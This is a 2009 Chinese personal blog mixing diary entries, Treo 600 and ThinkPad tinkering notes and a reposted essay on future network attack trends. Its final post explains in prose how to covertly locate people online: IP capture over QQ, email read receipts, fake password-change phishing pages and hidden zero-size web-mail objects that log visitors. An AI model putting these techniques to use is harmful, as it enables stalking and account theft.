・第四十九周1201~1207(2) ・第五十周1208~1214
・十大人为灾难事件 ・在灾难中不断寻求进步的路……
・十大网络人物 ・从人肉搜索到网络审判
・最受关注的十大文章 ・文字的力量
・十大最受关注经济事件 ・十大最怀念文娱人物
・那些人儿 ・十大最受关注奥运赛事
・向比赛致敬

2009年3月4日星期三

酒吧一夜

密闭的空间里,充斥着噪耳的音乐,昏黄的灯光下,坐着三三两两的人,桌前摆着几个酒瓶,或大声说的什么,在喧闹的音乐里传过来,或者噼哩啪啦地玩着筛子,据说这是娱乐场所的必备。

老宋说,要不弄一个玩?

感觉没意思,还是算了吧。喝酒聊天吧。

酒里带着些甜味,有些饮料的感觉,喝多了,就在肚子里积攒出一个很大的空间,胀的慌。

音乐很没劲,只是瓜子刮噪的音符,毫无美感。

不通气的空间里,到处弥漫出烟雾,连吧台上倒酒的三四个姑娘,也每人吐云吐雾,和客人玩着筛子。到处都显的颓废无聊,在这样的深夜里,这样挥霍着春天的时光?

都说中国人网民多少?有点条件的,一般都能上网吧,连农村里都有许多电脑了。上网也成了很多的娱乐活动。然而,通过上网寻找精神的娱乐,却更加让人无聊,身体也变的肥胖,性格变的孤僻,渐渐成为一种精神障碍。

但几乎可见的娱乐活动,都充满了声色犬马。要是和几个朋友,马上去哪儿去玩呢?酒吧歌厅乌烟瘴气,洗浴桑拿更不用说了,就说上岛两岸或其它的咖啡店茶馆,也坐满了暧昧的男女。到哪儿能找到新鲜的空气,和透畅的交流呢?

有个国外老愤青说什么来着?中国人放纵着情纵,会准备随时着和不认识的陌生人,发生性关系。

到处真是堕落啊。

一定不会用这种沟通方式,拉客户做项目,如果有这样的项目,不做也罢。

2009年3月3日星期二

2009年2月24日星期二

2009年2月14日星期六

转文--未来的攻击趋势

现在大部分的企业或组织至少也都在信息安全方面采取了一定的基本防御措施,用户的安全意识也得到了加强,一些独创性的安全技术为应对未来更加强大的攻击
提供了支持。但是仅仅这些就足够了吗?这是不可能的。
  至少仅仅靠安全意识上的加强是远远不够的,而且很少有人将历史教训放在心上。红色代码的爆发就充分地说明人们常常即使已经知道存在某种安全威胁,但却事不关己,高高挂起,自己还没有遭到攻击就赖得补救。而企业有限的安全预算也制约着信息安全领域的发展。另外,一些人还会出于某种目的花费大量的时间去研究新的攻击方法和手段,尽管如此,我们还是可以尝试着去预测隐伏着的可能的这些攻击。
  笔者时常被问," 什么样的潜在性网络攻击会使你在半夜醒来?" 笔者想可能下面的这些就足以使我半夜惊醒:
  1、超级蠕虫
  无论是手段的高明性,还是破坏的危害性,计算机网络受到蠕虫的威胁都在激增。在我们的民意调查中显示人们仍旧将这一威胁看作是计算机网络将面临的最大威胁之一,有超过36%的人认为超级蠕虫的威胁应该摆在第一位。
  超级蠕虫,它一般被认为是混合蠕虫。它通常能自我繁殖,并且繁殖速度会变得更快,传播的范围会变得更广。更可怕的是它的一次攻击就能针对多个漏洞。例如,超级蠕虫潜入系统后,不是仅仅攻击某个漏洞,而是会尝试某个已知漏洞,然后尝试一个又一个漏洞。
  超级蠕虫的一枚弹头针对多个漏洞发动攻击,所以总有一个会有效果。如果它发现你未打补丁的地方,那你就在劫难逃了。而事实上没有哪家公司的系统完全打上了所有的补丁。
  很多安全专家逐渐看到的通过IM(即时消息)进行传播的蠕虫就可以说是一种超级蠕虫。黑客将一个链接发给IM用户后,如果用户点击链接,蠕虫就会传播给该用户的IM地址簿上的所有人。有了IM,用户将随时处于连接状态,所以也随时会受到攻击。
  为对付未来的超级蠕虫我们所能做的将是:
  对外部可访问系统进行安全加固, 像Web服务器,邮件服务器和DNS服务器等,尽量将它们所需要开放的服务减少到最小。
  给系统及时打上补丁、及时更新防病毒软件,对员工进行安全宣传和教育。
  使用基于主机的入侵检测系统和预防工具, 例如Symantec的 Intruder Alert 3.6 可以阻断或迅速发现蠕虫的攻击。
  2、隐秘攻击(Stealthier Attacks)
  现在越来越多的黑客把攻击后成功地逃匿IDS的检测看作是一种艺术,有许多新工具将能使他们在攻击用户的系统后,不会留下任何蛛丝马迹,有多种高级黑客技术将能使之成为可能,而这些技术已经被广泛地为专业黑客和一些高级的脚本菜鸟(Scripts
Kids)所采用:
  多变代码
  这些恶意软件其本身可能是一种病毒,蠕虫,后门或漏洞攻击脚本,它通过动态地改变攻击代码可以逃避入侵检测系统的特征检测(Signature-based
detection ,也可称为模式匹配)。攻击者常常利用这种多变代码进入互联网上的一些带有入侵侦测的系统或IDSes入侵者警告系统。
  Antiforensics
  攻击者可操作文件系统的特性和反侦测伎俩进行攻击来逃避IDS的检测。
  例如通过利用像Burneye这样一个工具,可以掩盖黑客对系统的攻击企图,使用Defiler的工具Toolkit可以覆盖黑客对目标文件系统所做的修改留下的蛛丝马迹。
  隐蔽通道
  为了和后门或者恶意软件进行通讯,攻击者必须建立一条非常隐蔽的通信通道。为此,攻击者常常将通讯端口建立在一些非常常用的通信协议端口上,像HTTPS或者SSH。
  内核级后门(Kernel-level root kits)
  通过从系统内核控制一个系统,攻击者获得对目标系统的完全控制权限,而对受害者来说却一切都似乎风平浪静。
  嗅探式后门(Sniffing backdoors)
  通过将后门和用户使用的嗅探器捆绑在一起,攻击者能够巧妙地绕过用户使用的传统的通过查看正在监听的端口来发现后门的检测方法,使受害者被种了后门却还一直蒙在鼓里。
  反射式/跳跃式攻击
  与其直接像目标系统发送数据,很多攻击者觉得还不如利用TCP/IP欺骗技术去以误导正常的检测,隐蔽攻击者的真实地址。象反射式DoS攻击就是例证。有关反射式DoS攻击的详细信息,请参见安络科技七月巨献:网络攻击机制和技术发展综述。
  针对以上这些诡秘的攻击,作为用户又该如何防范和阻止呢?
  如果你的系统遭到这种攻击,你需要能够迅速地检测出来,而且要知道攻击者具体在你的系统上干了写什么。为了能够察觉出这种入侵,需要同时使用基于网络和基于主机上的入侵检测系统和防病毒产品,并仔细检查你的系统日志。一般用户可能不具备这种专业能力,可以寻找一家高专业水准的信息安全签约服务商,为您提供高水平的反入侵服务。
  一旦你发现自己的系统有什么异常,你必须确保你的事件紧急响应小组在取证分析上有丰富的经验,能够熟练使用像@stake的免费TASK工具或者Guidance
Software的商业软件EnCase,因为这两个工具都能非常仔细对系统进行分析,并且非常精确地隔离攻击者的真实破坏活动。重点部门的事件响应小组可以和专业安全服务商共建,明确分工,及时处理。
  3、利用程序自动更新存在的缺陷
  主流软件供应商,像Microsoft和Apple
Computer等都允许用户通过Internet自动更新他们的软件。通过自动下载最新发布的修复程序和补丁,这些自动更新工具可以减少配置安全补丁所耽误的时间。
  但是程序允许自动更新的这个特征却好比一把双刃剑,有有利的一面,也有不利的一面。攻击者能够通过威胁厂商Web站点的安全性,迫使用户请求被重定向到攻击者自己构建的机器上。然后,当用户尝试连接到厂商站点下载更新程序时,真正下载的程序却是攻击者的恶意程序。这样的话攻击者将能利用软件厂商的自动更新Web站点传播自己的恶意代码和蠕虫病毒。
  在过去的六个月中,Apple 和 WinAmp 的Web站点自动更新功能都被黑客成功利用过,所幸的是发现及时(没有被报道)。Apple
和 WinAmp 后来虽然修复了网站的缓冲溢出缺陷,并使用了代码签名(Code
Signing)技术,但基于以上问题的攻击流一直没有被彻底清除。
  为了预防这种潜在的攻击威胁,需要严格控制和管理安装在你的内部网机器上的软件,禁止公司职员随意地安装任何与工作无关的应用软件。在这里,你可以使用软件管理工具来强迫执行,像
Microsoft 的 SMS,LANDesk SOFTware 的
LANDesk。这两个工具只要二者择其一,你就可以配置你的内部升级服务器,如通过在工具中对微软软件升级服务器相关选项进行配置,你可以具体选择哪个修复程序和补丁允许被安装。为保护你的网络,可使用sniffer测试所有的补丁,如发现网络流量不正常或发现开放了陌生的端口则需引起警觉。
  4、针对路由或DNS的攻击
  Internet主要由两大基本架构组成:路由器构成Internet的主干,DNS服务器将域名解析为IP地址。如果一个攻击者能成功地破坏主干路由器用来共享路由信息的边界网关协议(BGP),或者更改网络中的DNS服务器,将能使Internet陷入一片混乱。
  攻击者通常会从头到脚,非常仔细地检查一些主流路由器和DNS服务器的服务程序代码,寻找一些能够使目标程序或设备彻底崩溃或者取得系统管理权限的缓冲溢出或其它安全缺陷。路由代码非常复杂,目前已经发现并已修复了许多重要的安全问题,但是仍旧可能存在许多更严重的问题,并且很可能被黑客发现和利用。DNS软件过去经常发生缓冲溢出这样的问题,在以后也肯定还可能发生类似的问题。如果攻击者发现了路由或DNS的安全漏洞,并对其进行大举攻击的话,大部分因特网将会迅速瘫痪。
  为了防止遭到这种攻击,确保你的系统不会被作为攻击他人的跳板,应采取如下措施:
  对公共路由器和外部DNS服务器进行安全加固。如果公司的DNS服务器是为安全敏感的机器提供服务,则应为DNS服务器配置防火墙和身份验证服务器。
  确保DNS服务器安装了最新补丁,对DNS服务器严格监控。
  如果你认为是由ISP的安全缺陷造成的威胁,确保你的事件紧急响应小组能够迅速和你的ISP取得联系,共同对付这种大规模的网络攻击。
  5、同时发生计算机网络攻击和恐怖袭击
  这可以说是一场双重噩梦:一场大规模的网络攻击使数百万的系统不能正常使用,紧接着,恐怖分子袭击了一个或者更多城市,例如一次类似9/11的恐怖爆炸事件或者一次生化袭击。在9/11恐怖袭击事件后,美国东部的几个海岸城市,电话通信被中断,惊恐万分的人们不得不通过E-MAIL去询问同事或亲人的安全。由于这次袭击,人们发现
Internet 是一种极好的传媒(还有电视传媒)。但是我们不妨假设一下,如果此时爆发超级蠕虫,BGP和DNS被遭到大举攻击,那么在我们最需要它的时候它也将离我们而去,可以想象将是一种什么样的糟糕场面。但是这又并不是不可能发生的。
  我们要居安思危,为这种灾难的可能发生作好应急准备是相当困难的:
  作好计算机的备份工作;
  除给紧急响应小组配备无线电话外,还需配备全双工传呼设备;
  要确保你的计算机紧急响应小组有应付恐怖袭击的能力;
  要假想可能出现的恐怖袭击场面以进行适当的演习,以确保真正同时发生网络攻击和恐怖袭击时,他们能够迅速、完全地进入角色。
  也许有人会认为我们这样做可能都是杞人忧天,但是,笔者有理由相信这样的事情在未来的5年中是完全有可能发生的,只不过所使用的攻击技术可能是我们在上面所列举出来的,可能是我们所没有预计到的。

2009年2月13日星期五

过时技术

linux FreeBSD实现无线上网(cdma1x +gprs +wlan+红外+蓝牙+串口+usb)

主要是去年我在slackware下,用Motorola V730实现了cdma 1x无线上网,另外同学那儿有AireCard
750,也在我的机器配置好了。现在我主要用朋友给的一块Symbol无线网卡上wlan。
机器配置为 IBM tp600 + SLackware + FreeBSD 5.0
另外,哪位有蓝牙设备,我也可以帮你搞定

如T39一类,通过蓝牙、红外口无线上网的方法,大家可以在此交流。只要有设备,我可以很快帮你解决地。呵呵。因为我很少上网查资料,有问题都是自己搞定


----03年的一篇文章

2009年2月12日星期四

hhaa

http://item.taobao.com/auction/item_detail.jhtml?x_id=0db2&item_id=fd08bc1e7021bbf1e657a87efe9e8140
这儿有个买一送一的palm 600,似乎不错的样子,其实一个有问题另一个可用
【我的淘宝CPU店】
http://shop33270872.taobao.com/ 风云世界的小店
http://www.laptopsky.com/bbs/read.php?tid=42505 220 tp600e
胖太阳QQ 443769569
我有病 guangming-003@163.com
60G SATA硬盘 QQ271164936


出2个T2X电池,一个好一个坏,都没有拆开过,容量看图,好的那个80元,坏的那个20元。2个都要包快递,好的那个上网1个小时左右。电话13321899985
QQ398252814
http://www.laptopsky.com/bbs/read.php?tid=41596 mmc2转mmc1,到哪儿找这种转接卡呢?
http://www.rayfile.com/zh-cn/files/6f32ee57-8b18-11dd-9a89-0014221b798a/
tp600
升u的软件和资料
http://www.rayfile.com/zh-cn/files/6f32ee57-8b18-11dd-9a89-0014221b798a/
如何拆tp600
http://www.laptopsky.com/bbs/read.php?tid=38055 tp600的升级与心得体会
http://shop33073845.taobao.com/ 胖太阳的店

http://www-307.ibm.com/pc/support/site.wss/document.do?sitestyle=lenovo&lndocid=DSHY-3VRJPK
下载最新的bios文件,我的似乎已经升级过了吧?


http://store.taobao.com/shop/view_shop-a75d47e3f5b5ad54e5133b2cfb41234d.htm?nekot=g%2Cpf4wg2tl1232502186894
yycjk的折腾过600x,全套一大堆配件,似乎只要500?
Google MMC1转MMC2看看,内容确实不多,看上去似乎不如600x主板+cpu+风扇更稳定呢
http://item.taobao.com/auction/item_detail-0db2-c08314c4f951ad7ec1596d9298ec4e72.jhtml
p3
650 68元/个
扩展坞 3547

目前的方案是这样,使用旧的那台,将 PII 366 -> P3 750,然后加内存。然后将手上的这台tp600,换成Pii
366,只升了66,差别不大吧,还是不折腾。那怎么办呢?还有个方案,1、找mmc2转mmc1的转接卡
2、找个600x的废旧主板+cpu+风扇

http://shop33531487.taobao.com/ 卖SD内存的
http://item.taobao.com/auction/item_detail-0db2-3452a791c4faac34dd878098fdbf2484.jhtml
p3
700硬改全频包快55

2009年2月8日星期日

treo 600使用card export 连接出现“无法传送USB卷。主机失败! 的问题

treo 600使用card export 连接出现"无法传送USB卷。主机失败! 的问题
card export 用上一段时间内,会出现上面的错误提示,无法将SD卡变成U盘了。怎么回事呢?
有人说是ptunes冲突,还有人说是巨硬的原因。经过我一番摸索,原来不知何时,系统中有个文件增加了一个东西,这个文件为saved
perfermanc,只要将里面的pusb 256删除就可以了。
可以用来编辑此文件的工具有如下几个:
resco explorer
rsrcedit
filez
这三个程式中哪一个都可以。
我用resco explorer 3.20版本。
找到saved perfermance这个文件后,直接打开,点击右上角靠右的下拉菜单,可以找到了"pusb ",(我的treo
600上是pusb 256) 删除它即可。
现在可以正常用CardExport连接到电脑上了。

注:有一段时间用 card reader,所有人都说不错,但我在使用的过程中,经常会遇到机器重启的问题。但card
export就没有这个问题。现在解决了card
export无法问题,又可以直接读写SD卡了。把最新的pssh放到卡上面,上newsmth.net速度很快。
另外,网上还有个工具,叫 fixce,似乎是叫这个名字,几年前我用过,效果也是一样的,也能解决此问题。不过很多机器上面,都安装了resco
explorer 吧?用这个工具修改也非常方便。

Palm 不支持 Fat32 ?

大旱后的第一场雨

憋了很长时间,终于下雨了,晴天也不远了。春节期间,大雾满天,给同学王华发了短信,让他开车回京时小心安全。另外今年也特别旱,小麦经了一冬,返青急需雨水,一冬好像也没有下点儿雪,麦苗已经岌岌可危了。这一场雨下来,真救命啊。

淋在身上,初春的雨水特别凉。心里却觉的特别高兴。一直为自己的农民身份自豪,觉的城镇长大的孩子特别笨,从小没干过农活,动手能力特别差,没一点儿创造力,只有一些小聪明。还是咱农村出来的,锄过地扶过苗的,踏实、进取、有创造力,相比从小在城镇长大的,哪一个不是特别优秀?

雨下的不大不小。回到家,湿了一层衣服。听说还是人工降雨。这几年不断的人工降雨,然而雨量不断地减小不断地减小,感觉人工降雨就像拨苗助长一样,长期看有了坏影响。不知道有人研究过没有?长期的人工降雨,会对天气和环境造成哪些影响?不能紧盯着这一场雨来看啊,毕竟还要在这片云彩下,活上很多年呢

2009年2月5日星期四

享受经典,我的treo600

这块手机用到第五年来,再回头来看看,给我很多帮助,可能还可以用上若干年。无论从哪种用途来说,都足可以胜任,甚至比现在市场流行的各种PPC手机,还要功能强大,性能稳定。
这块手机的名字,叫 treo 600
,是handspring的作品,名为其名,非常漂亮,非常经典的一个产品。可以做什么呢?在那么低的配置下,可以实现PDA功能的大部分,而且有许多功能许多软件,都是免费的。因为每个软件的体积特别小,而且可以放在SD卡上面,所以我的手机里放了四五百种的各种程序,各种各样的功能,各种各样的特色。
手头上其实也有一块最新的PPC手机,CPU比我的笔记本频率还要高,内存比我用的笔记本电脑内存还要大,支持wifi,支持最高上网速度的3G。
但用顺了手,还是觉的treo600更强大,更方便,做事更有效率。
正月里闲着没事,又拿来折腾了一番。这下子彻底搞清了几个事情。
Treo600的死机原因。当treo600接到未知号码的来电时,就是那种不显示号码的电话,就会自动死机重启。这时,只要在拨号界面里,输入
#*377,即可以查到重启的原因。我的原因,是因为一个号码通,它还有另一个名字叫"号码归属地"的软件引起的。当可显号码的电话拨入时,会在当前界面上显示对方号码的归属地。这个软件的最新版本是
1.3,2008年9月出版的,最后一个版本仍然有这个问题。解决方法,是使用老许的"来电秀",或者干脆别用这么花哨的功能。不然,又怎么让你的treo600待机一周呢?呵呵
Treo600的待机,可以使用"省电英雄",其实我没用这个,而是用的profeo 600
lite这个工具非常小,配置界面也非常简单,可以自动定时开关机,根据时间段定制屏幕亮度、铃声大小、键盘灯开关等细节。但没有看到蓝牙、红外的相关选项。Treo600没有蓝牙。Treo650才有。但红外如何关闭呢?还是已经默认情况下已经关闭了?
另外,还有个未知的问题,就是callblock经常会引起一些奇怪的问题,推荐还是删除掉了。平时可以放在卡上,实在需要阻断不想接的电话时,再启用就是了。
至于其它的使用技巧,treo上的太多了,比如只使用键盘的技巧,可以非常明显地改善使用效率,看上去是真正的运指如飞了。每个程序那么少,虽然是五年前的机器,但响应速度比现在的新机器还要快。这就是palm程序的魅力所在啊。
拥有treo600,会更有效率。早上打球的时候,我还在想,其实象我这么懒的人,是不是因为这种优秀的产品,才推动着不断地思索,不断地进取,不断地向前追求呢?回想一下,感觉确实从treo600身上,发挥了这样一种能力,促人奋发向上。

享受经典,我的treo600

这块手机用到第五年来,再回头来看看,给我很多帮助,可能还可以用上若干年。无论从哪种用途来说,都足可以胜任,甚至比现在市场流行的各种PPC手机,还要功能强大,性能稳定。
这块手机的名字,叫 treo 600
,是handspring的作品,名为其名,非常漂亮,非常经典的一个产品。可以做什么呢?在那么低的配置下,可以实现PDA功能的大部分,而且有许多功能许多软件,都是免费的。因为每个软件的体积特别小,而且可以放在SD卡上面,所以我的手机里放了四五百种的各种程序,各种各样的功能,各种各样的特色。
手头上其实也有一块最新的PPC手机,CPU比我的笔记本频率还要高,内存比我用的笔记本电脑内存还要大,支持wifi,支持最高上网速度的3G。
但用顺了手,还是觉的treo600更强大,更方便,做事更有效率。
正月里闲着没事,又拿来折腾了一番。这下子彻底搞清了几个事情。
Treo600的死机原因。当treo600接到未知号码的来电时,就是那种不显示号码的电话,就会自动死机重启。这时,只要在拨号界面里,输入
#*377,即可以查到重启的原因。我的原因,是因为一个号码通,另一个名字叫"号码归属地"的软件引起的。当可显号码拨入时,会在当前界面上显示对方号码的归属地。版本是
1.3,2008年9月出版的,最后一个版本仍然有这个问题。解决方法,是使用老许的"来电秀",或者干脆别用这么花哨的功能。不然,又怎么让你的treo600待机一周呢?呵呵
Treo600的待机,可以使用"省电英雄",其实我没用这个,而是用的profeo 600
lite这个工具非常小,配置界面也非常简单,可以自动定时开关机,根据时间段定制屏幕亮度、铃声大小、键盘灯开关等细节。但没有看到蓝牙、红外的相关选项。Treo600没有蓝牙。Treo650才有。但红外如何关闭呢?还是已经默认情况下已经关闭了?
另外,还有个未知的问题,就是callblock经常会引起一些奇怪的问题,推荐还是删除掉了。平时可以放在卡上,实在需要阻断不想接的电话时,再启用就是了。
至于其它的使用技巧,treo上的太多了,比如只使用键盘的技巧,可以非常明显地改善使用效率,看上去是真正的运指如飞了。每个程序那么少,虽然是五年前的机器,但响应速度比现在的新机器还要快。这就是palm程序的魅力所在啊。
拥有treo600,会更有效率。早上打球的时候,我还在想,其实象我这么懒的人,是不是因为这种优秀的产品,才推动着不断地思索,不断地进取,不断地向前追求呢?回想一下,感觉确实从treo600身上,发挥了这样一种能力,能促人奋发向上。

2009年2月4日星期三

看书《何新论金融危机与中国经济》

最近又看了两本书,感觉看的比较郁闷。书写的没有达到理想的好看程度。
郭欣翻译的《美国大萧条1929》,具体书名也记不太清了。书已经还给朋友,坚持看过几章。经常有挺长的那种句子,考验逻辑,看着挺绕。重点看了看,大萧条时期,人们的理财方法、娱乐方式,都是尽量保值,少花钱的一些方法。
还有一本是《枪杆子1949》,看着就更痛苦了。描述解放战争时期,四野的一些历史故事。基本上就是史料的堆积,没有多少故事可读性,估计是给学者们看的吧。但里面的语言又很�嗦,前言不达后语的,看上去,似乎根据一位老战士的讲故事录音整理出来的。

今天又借了两本。
一本是《何新论金融危机与中国经济》。感觉这本非常棒。只读完前几页,已经解答了长久以来的疑惑。这场金融危机的本质是什么?怎么产生的?有哪些影响?何新在《香港商报》7月10日上有篇文章,就已经清楚地预测地这场危机。此书第一篇,就将此文收录进来,整篇文章看上去很有说服力。从美国新经济的脆弱性、美元泡沫、美国经济崩溃对全球的影响几个方面,有02年的时候,就对今天出现的一切现实,给出了明确准确的预测。


看完一半,学经济的同学说何新是个大忽悠,呵呵。但我感觉文章里面的东西,还是比较靠谱的。可能我不是这个专业的,只能接受普及水平吧。反正看着还行。

家里来了两个七个岁的小孩,异常吵闹。

继续折腾我的treo600,以及那台老笔记本电脑。

折腾前:600E P2-366 128M 6G
折腾后:600X P3-850 576M 15G 3547-003
深度简化XP 双模无线网卡(GPRS+WLAN)

订了祈福卡,过几年到货。

2009年2月1日星期日

做了一个荒唐梦

不知怎么,被一团光轻轻地包围住,拾了起来,升在半空,开始慢慢地转动。放眼一看,周围全是各种的星球,像是处身银河系里,光线绚丽多彩,非常漂亮。有闪烁的星星,还有蓝色漂亮的地球,柔柔光线的月亮,金灿灿的太阳。。。。。
心底里还在想,身体正在被改造,会具有超人一般的能力。光团越转越快,在一个很大的房间里向外漂出,漂到一个靠近大落地窗的位置,飘在半空。心想要是玻璃破了,就可以漂到外面更广的空间去。
身体在光团里,非常地安详、舒适,随着光团转着圈,观看外太空时各种漂亮的星座。
过了挺长一段时间,似乎身体改造好了,还给我们两个马蹄形磁铁的东西,说是威力无比。这时,我们的眼睛能射出激光,耳朵能听到另一个星球上面的说话声,能飞会变,身体健壮轻盈,可变各种东西。与天地同寿,与日月同光。
这时好像老婆还不相信,我拉住一个同学,说:"同学,借你衣服一看"。这位同学穿着皮恰卡牛仔裤运动鞋,袖子只有半截,露出黑色的毛衣来。心想,难道是今天的流行穿法?这位同学急急而去,丢下一句话:"忙着,没空,我是出来。。。"后来好像是打酱油或俯卧撑之意。我眼睛一瞄,其实已经记住了衣服样子,身体一转,身上就有了同样的衣服款式。
老婆有些信了,只是骂我老土,变了这么一身掉渣衣服。我又随意变了几次,可以变成空气,可以变的透明,可以穿过石山,可以飞过高山。

过了一会儿,来到一个山谷里。里面有一帮科学家正在疯狂地做着各种试验。跟他们聊了一会儿,不知为什么搁下这么一句话:"你们忙,我们先走了。要是哪天太阳没了,你们也不用担心,我们可以变成太阳和月亮,给大家照亮儿。"
话虽这么说,心底里却想,挂在半空,其实也挺孤单的。真有那么一天,我会义不容辞地挂上去吗?
走过一个山坡。我问另一人。(一直没仔细看清另一人是哪位?)你的马蹄形工具装好了吗?他居然回答,借给那帮科学家研究了。
"你个SB",我急的马上骂出来。也来不及解释,心底里着急:"这要是让这帮科学家折腾了,世界还不乱套?本来还想多玩几天呢,没想到马上就得挂到天上去,给大家当太阳。"
刚走几步,正碰上科学家的头坐车急速出来。头顶像是刚被雷劈过,头发焦了正在冒烟。
也不知怎么,我就想,难道急着去国防科工委汇报?(因为我是中国人嘛)。他们要是从马蹄形铁上刮出一点儿渣来,就可以克隆一个同样的。这个世界会很惨的。
正在想着,第二辆车开来了。我忙弹了一道凌厉的指风,企图阻止车子停下来。没想到军车翻了个,居然车头对着我,一掀盖布,露出一个巨大的声波武器来。一道激烈的冲击波就轰了过来。我一低头躲过。
于是一场大战开始了。
最后快醒的时候,我还想,我和他们单打独斗干什么?我可以控制天气,制造风暴,影响大自然,就让大自然惩罚他们吧。

google出错的官方解释

http://blog.stopbadware.org/2009/01/31/google-glitch-causes-confusion

[Update 12:31] Google has posted an update on their official blog that
erroneously states that Google gets its list of URLs from us. This is
not accurate. Google generates its own list of badware URLs, and no
data that we generate is supposed to affect the warnings in Google's
search listings. We are attempting to work with Google to clarify
their statement.

======================================================================
http://googleblog.blogspot.com/2009/01/this-site-may-harm-your-computer-on.html

What happened? Very simply, human error. Google flags search results
with the message "This site may harm your computer" if the site is
known to install malicious software in the background or otherwise
surreptitiously. We do this to protect our users against visiting
sites that could harm their computers. We work with a non-profit
called StopBadware.org to get our list of URLs. StopBadware carefully
researches each consumer complaint to decide fairly whether that URL
belongs on the list. Since each case needs to be individually
researched, this list is maintained by humans, not algorithms.

We periodically receive updates to that list and received one such
update to release on the site this morning. Unfortunately (and here's
the human error), the URL of '/' was mistakenly checked in as a value
to the file and '/' expands to all URLs. Fortunately, our on-call site
reliability team found the problem quickly and reverted the file.
Since we push these updates in a staggered and rolling fashion, the
errors began appearing between 6:27 a.m. and 6:40 a.m. and began
disappearing between 7:10 and 7:25 a.m., so the duration of the
problem for any particular user was approximately 40 minutes.

---------注:我也有一个猜想,请参看上一篇博文。

数据背后的乐趣

如何在网上追踪定位一个人呢?
如果有更多的信息,当然比较好。比如有对方的邮箱、手机号、QQ号、msn、论坛账号等信息。如果有更多的权限,就更好了。象执法机关那样,可以随时进行手机定位、查阅相关的服务器等。
没有足够的信息、权限时,怎么办呢?
这几天深入想了一下,还是有许多办法的。
IM工具的定位,已经有大量方法了。如QQ/msn,通过本地的抓包,即使对象隐身了,也能想到对方的地址信息。如果再传个文件,发个图片,就更有数了。但这一切,都是基于对方透明网络,没有使用隐身代理的情况下。
关于qq/msn的ip查找问题,网上已经有大量的文章在描述了。
另外,也可以通过发邮件确定某人IP。通过邮件定义的邮件回执,再查看邮件头信息,确定对方的IP信息。邮件头里面的信息其实是很丰富的,只是一般人很少查看。通过foxmail和outlook这类邮件工具,打开邮件,显示邮件的全部信息,就可以看到邮件头信息。这里面包括了收发邮件人的IP信息。使用这种方法,有时也会用来查找垃圾邮件的发送者。当然,这里面的信息,有时也是可以伪造的,但一般人很少动这心思。通过查看邮件头信息,确实可以得到很多有用的信息。

但有一种情况,发送邮件者通过web mail发送时,发送的IP地址就变成web
mail服务商的地址了,不会显示发送者的原始地址。另外,在许多论坛上面,我们如果也想查看其它人的IP信息,怎么办呢?
上面的这种情况还是很普遍的。即,所有的客户访问活动,都是在server上进行的。第三方没有管理权限,如果查看其它访问的信息?

跨站和注入是个很好的工具。跨站和注入相结合的广泛应用,说明了大量的应用,仍然没有对输出输出进行严格的控制。其实不光跨站注入说明问题,还有许多应用实现偏离安全设计目标的情况。这种情况更为多见。
什么意思呢?应用实现偏离安全设计目标。
就是应用系统在实现的时候,都基于一个懒惰、自由、信任、或者受限于安全编程去实现的。编程者相到的首先是如何实现一个功能,如何把这个功能实现的更加高效完美,这个功能也可能在输入输出时,设计者想到了许多方法去控制输入输出,但多个功能组件放在一个复杂的系统时,会产生了许多不可预知的状态。通常这种状态,就是我们可以寻找突破的地方。
恩,说了半天,我怎么老觉的没有说透,似乎让人越来越糊涂呢?

举一个例子吧。
比如国内的主流邮箱,大部分都提供了web mail功能。这些web mail
的实现,看上去都实现的非常好,效率高,反应快,界面漂亮,功能繁多,也没有什么安全问题,即使有,我们这样的水平,一时半会儿也要折腾着专门研究,就没时间赚钱吃饭了。所以,暂时还是很安全的。能随意控制这种系统的人,至少现在我还没有见过。只能让心底里崇拜吧。
那,这么安全的一个系统,如何实现我的需求?实现界面上面没有一些东西,让它真正 我所用呢?
我们就需要在这具系统的多个组件状态中,寻找突破口。
通过在一些web mail中,构造一个假造的用户名、密码修改页面,发送到别人,就可以通过钓鱼手段,取得没有防范心理的账户信息了。
另外,在一些web mail中,还可以加入frame,img,url,scrip,flash等对象,把对象的width=0
height=0,就隐藏起来了。如果再把这些对象引用,放到控制的服务器上面,就可以取得访问者信息了。
刚开始,我还以为这些对象的引用,需要经过web mail的过滤,后来发现,所能接触到的系统,都是没有通过服务器进行引用。哈哈。记住,是所有的系统。
如果有系统做了引用处理。那么,又提供了另一种可能。
一般服务器是不对外主动访问的。如果做了引用处理,就必须发起主动访问了。那么,这里面可以玩的,有趣的东西,就更多了,不是吗?引用对象各种各样,攻击者只要把对象放在外部,等着服务器来访问,进行感染服务器的功能组件就可以了。
恩,说到这儿。不得不提一下google/baidu一类的搜索引擎。
搜索引擎的实现我是一知半解,连点儿皮毛也不知道。但毫无疑问,是主动式的数据搜寻,找到后封装放到后台的数据库中。就是个数据搬运的过程。如果能把这个"搬运工"的机理研究透彻,有没有可能,把恶意数据感染到整个后台数据库呢?这样就可以影响全球的网络用户了。
这种恶意数据,一定隐藏的非常深非常好,表面上和所有的正常数据是一样的。更没有执行功能。只有在常见的浏览器查看时,才会显示出威力呢。就象图标漏洞、falsh漏洞。
Ok,说的这么悬,我觉的实现起来也非常难,但并不是没有可能。
虽然google/baidu数据读取时,"搬运工"是个主动控制数据的过程,另外,在数据到最终用户的过程,也要经过层层的控制。感染"搬运工"也非常难,毕竟是黑盒,不了解原理,另外,无法主动喂食数据,只能等到对方来取。给了定制好的数据后,"搬运工"是啥反应也很难捕捞。

虽然难题一堆,但我仍然相信,一个简单的慢速线路,就可以影响整个世界。


-------注:上面这些文字,是春节前写成的,一直放在日记里没有发出来。2009.1.31晚上凌晨,看到google全球各站都出了问题,只要提交搜索请求,包括
google自己的网站,都在搜索结果中,显示为恶意站点。是google自己出错,还是有人恶意入侵?其实我比较相信后者的可能性。